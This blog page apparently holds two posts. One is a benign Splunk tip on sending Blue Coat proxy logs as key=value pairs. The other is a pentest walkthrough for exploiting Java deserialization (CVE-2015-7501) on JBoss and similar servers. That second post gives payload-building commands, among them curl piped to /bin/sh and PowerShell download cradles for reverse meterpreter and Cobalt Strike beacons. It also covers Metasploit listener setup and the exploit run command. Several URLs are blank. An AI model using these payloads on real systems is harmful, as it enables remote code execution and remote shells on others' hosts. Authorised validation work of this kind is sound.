Monday, April 24, 2017

Efficient Blue Coat (and other) Splunk Log Parsing

By Tony Lee

Special Notes

1)  This blog post does not only pertain to Blue Coat logs, but possibly other data sources as well.
2)  This is not a knock on Blue Coat, the app, TA, or any of that, it is just one example of many where we might want to change the way we send data to Splunk.  Fortunately Blue Coat provides the means to do so.  (hat tip)

Background info

A little while back, we were working on a custom Splunk app that included ingesting Blue Coat logs into a SOC's single pane of glass, but we were getting an error message of:

Field extractor name=custom_client_events is unusually slow (max single event time=1146ms)

The Splunk architecture was more than sufficient.  The Blue Coat TA worked great on small instances, but we found that it did not scale to a Blue Coat deployment of this magnitude.  The main reason for this error was the parsing in transforms.conf looked like this:

REGEX = (?<date>[^\s]+)\s+(?<time>[^\s]+)\s+(?<duration>[^\s]+)\s+(?<src_ip>[^\s]+)\s+(?<user>[^\s]+)\s+(?<cs_auth_group>[^\s]+)\s+(?<x_exception_id>[^\s]+)\s+(?<filter_result>[^\s]+)\s+\"(?<category>[^\"]+)\"\s+(?<http_referrer>[^\s]+)\s+(?<status>[^\s]+)\s+(?<action>[^\s]+)\s+(?<http_method>[^\s]+)\s+(?<http_content_type>[^\s]+)\s+(?<cs_uri_scheme>[^\s]+)\s+(?<dest>[^\s]+)\s+(?<uri_port>[^\s]+)\s+(?<uri_path>[^\s]+)\s+(?<uri_query>[^\s]+)\s+(?<uri_extension>[^\s]+)\s+\"(?<http_user_agent>[^\"]+)\"\s+(?<dest_ip>[^\s]+)\s+(?<bytes_in>[^\s]+)\s+(?<bytes_out>[^\s]+)\s+\"*(?<x_virus_id>[^\"]+)\"*\s+\"*(?<x_bluecoat_application_name>[^\"]+)\"*\s+\"*(?<x_bluecoat_application_operation>[^\"]+)

The robustness and volume of data was simply too much for this type of extraction.


The solution is not to make Splunk adapt, but instead change the way data is sent to it. The Blue Coat app and TA require sending data in the bcreportermain_v1 format--which is an ELFF format. Then the Blue Coat app and TA try to parse this space separated data using the complex regex seen above. Instead of doing that, fortunately you can instruct Blue Coat to send the data in a different format such as key value pair--which Splunk likes and natively parses.

In this case, have the Blue Coat admins define a custom log format with the following fields:

Bluecoat|date=$(date)|time=$(time)|duration=$(time-taken)|src_ip=$(c-ip)|user=$(cs-username)|cs_auth_group=$(cs-auth-group)| x_exception_id=$(x-exception-id)|filter_result=$(sc-filter-result)|category=$(cs-categories)|http_referrer=$(cs(Referer))|status=$(sc-status)|action=$(s-action)|http_method=$(cs-method)|http_content_type=$(rs(Content-Type))|cs_uri_scheme=$(cs-uri-scheme)|dest=$(cs-host)| uri_port=$(cs-uri-port)|uri_path=$(cs-uri-path)|uri_query=$(cs-uri-query)|uri_extension=$(cs-uri-extension)|http_user_agent=$(cs(User-Agent))|dest_ip=$(s-ip)|bytes_in=$(sc-bytes)|bytes_out=$(cs-bytes)|x_virus_id=$(x-virus-id)|x_bluecoat_application_name=$(x-bluecoat-application-name)|x_bluecoat_application_operation=$(x-bluecoat-application-operation)|target_ip=$(cs-ip)|proxy_name=$(x-bluecoat-appliance-name)|proxy_ip=$(x-bluecoat-proxy-primary-address)|$(x-bluecoat-special-crlf)

Since this data comes into Splunk as key=value pair now, Splunk parses it natively.

We just removed the TAs from the indexer and replaced it with a simpler props.conf file of this:


This just turns off line merging which is on by default and makes the parsing even faster. Also remember to rename the props.conf and transforms.conf (ex: .bak files) included in the app if you have it installed on your search head--that contains the same complicated regex which will slow down data ingestion. Lastly, by defining your own format, you can add other fields you care about--such as the target IP (cs-ip) which is not included in the default bcreportermain_v1 format for some reason. We hope this helps others that run into this situation.


Again, this issue is not isolated to Blue Coat, but to any data source that has the ability to change the way it sends data. We were quite happy to find that Blue Coat provides that ability and it certainly reduced the load on the entire system and gave back those resources for adding other data.  Hat tip to Blue Coat for providing the flexibility of custom log formats.  Happy Splunking!

Sunday, April 9, 2017

Quick and Easy Deserialization Validation

By Tony and Chris Lee

Maybe you are on a pentest or a vulnerability management team for your organization and you ran across a deserialization finding. This vulnerability affects a number of products including but not limited to JBoss, Jenkins, Weblogic, and Websphere. The example finding below is from Nessus vulnerability scanner:

JBoss Java Object Deserialization RCE
Description:  The remote host is affected by a remote code execution vulnerability due to unsafe deserialize calls of unauthenticated Java objects to the Apache Commons Collections (ACC) library. An unauthenticated, remote attacker can exploit this, by sending a crafted RMI request, to execute arbitrary code on the target host.  (CVE-2015-7501)

Family: Web Servers
Nessus Plugin ID: 87312

Now that you have the finding you need to validate it.  We will outline just one possible method for validating JBoss, Jenkins, Weblogic, and Websphere below.

Background info

In a nutshell: "The Apache commons-collections library permitted code execution when deserializing objects involving a specially constructed chain of classes. A remote attacker could use this flaw to execute arbitrary code with the permissions of the application using the commons-collections library."

For more information, a very good and detailed explanation can be found here:

Step 1) Download Tools

Now on to the exploit/validation!  Clone or download the zipped tools here:

Step 2) Building the payload

Quick and easy one-liners per the exserial instructions:
The exserial readme provides two great examples shown below, but we will add a Cobalt Strike option for those who prefer a beacon shell.  If you are spawning reverse shells, remember to start your listener first.  ;-)

1) Run a shell script on a Linux victim:
$ java -jar exserial.jar CommandExec Linux "curl|/bin/sh" > payload.ser

2) Get a reverse HTTPS meterpreter shell via powershell download of Invoke-Shellcode
Setup the listener:
msf> use exploit multi/handler
msf> set payload windows/meterpreter/reverse_https
msf> set lhost <local IP>
msf> set lport <local port>
msf> set ExitOnSession false
msf> exploit -j

Create the serialized payload:
$ java -jar exserial.jar CommandExec Win "powershell IEX (New-Object Net.WebClient).DownloadString('');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <ListenerIP> -Lport 4444 -Force" > payload.ser

3)  Cobalt Strike beacon
Create the listener (ex:  reverse_https to 443)
Cobalt Strike -> Listeners -> Add
Name:  rev_https
Payload windows/beacon_https/reverse_https
IP:  <Your teamserver IP>
Port:  443

Attacks -> Web Drive-by -> Scripted Web delivery
Default will work for this

Create the serialized payload:
java -jar exserial.jar CommandExec Win "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(''))" > payload.ser

Step 3) Running the Exploit

Now that the payload is created, it is time to run the exploit. In the scripts folder, you will find four python scripts. The example below shows the syntax and an example for using the JBoss exploit.

python http://<target>:<port> /path/to/payload

python  http://JbossServer:8080 /root/deserial/payload.ser


This is a fast and flexible method to validate this vulnerability. Other possibilities for validating this issue include, downloading a "flag", running a reverse ping, or a netcat shell.

Huge thanks to for the publicly available tools.